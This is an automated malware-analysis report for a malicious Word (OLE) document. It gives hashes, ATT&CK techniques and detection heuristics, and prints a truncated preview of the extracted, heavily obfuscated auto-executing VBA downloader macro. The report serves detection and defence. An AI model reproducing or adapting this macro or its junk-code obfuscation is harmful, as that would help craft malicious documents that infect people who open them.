Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7c77eb9b0e722579…

MALICIOUS

Office (OLE)

175.7 KB Created: 2019-12-12 17:31:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: d2efa646a33ab806851b3c2e343ae3b1 SHA-1: 02527210cd376ce3fb379441a69ece3e4e7ace3e SHA-256: 7c77eb9b0e7225793b6c6eb180173519d477f14cd0de53781880ace1730e9bab
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'Document_open' macro is present and uses 'CreateObject' with obfuscated API names, specifically reassembling 'winmgmts'. This indicates an attempt to download and execute a second-stage payload, as suggested by the ClamAV detection 'Doc.Downloader.Generic-7449733-0'. The VBA code is heavily obfuscated, making it difficult to determine the exact payload or destination.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-7449733-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7449733-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8844 bytes
SHA-256: 86cf2cdbc4444da9a610e2fd388814581912dff627abc89422cd2c19c4ece2d9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Czifdgkef"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Ndnmkruqzbb, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Select Case Mtxpbxxkup
         Case Wwhqxgwfnywx
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Xkdtlkfcbal)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Cfrknshsumold
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Xnxakmzmh)
End Select
   Select Case Oqxwgesrlbf
         Case Aqpdrarvowk
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Tmrnhbnupcv)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Csmoxxoptp
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Folsaumdq)
End Select
   Select Case Kgswnfdwptmn
         Case Ggfrzmczclwh
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Kamsafoislg)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Udykrasfzff
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Sldhzfrpl)
End Select
Schszmscvkoqo
End Sub

Attribute VB_Name = "Ooyeqwvsbbtx"
Attribute VB_Base = "0{0F296782-B55F-4FBF-9E82-7CD051B2AD19}{EF8D03C2-A674-41FF-B7DD-50CD79DEFCA6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Fjrcykmrq"
Function Fpejzqoqwwcg()
   Select Case Lmjcmfercy
         Case Vpflekohel
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Lkkvvnlgzk)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Koqnyqguiqkzf
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Zmteakarc)
End Select
Dcaskaka = Czifdgkef.Ndnmkruqzbb
   Select Case Rfiwpsllzkjx
         Case Efcwnfwvzd
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Jbviewatpwjho)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Ftvzwlcwz
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Zmxwgfhr)
End Select
Aoegnkuv = Dcaskaka + Ooyeqwvsbbtx.Inoahnejc + Ooyeqwvsbbtx.Uoqqmorshteiw + Ooyeqwvsbbtx.Kberhegak
   Select Case Firapzodlqjs
         Case Lwrihwnvh
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Funkwscobp)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Ibadnjvzigsdu
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Rtfkbunjf)
End Select
Mebtkohizear = Aoegnkuv + Ooyeqwvsbbtx.Xoynuikmsbj + Ooyeqwvsbbtx.Dmzjhztg.ControlTipText
   Select Case Oauqfdhl
         Case Lqblutoorbdj
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Yiaqjxduj)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Wpghsndhufqpe
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Ylesaecmr)
End Select
Fpejzqoqwwcg = Ltadlxhhcxll + Mebtkohizear + Ltadlxhhcxll
   Select Case Gsbhnjmo
... (truncated)

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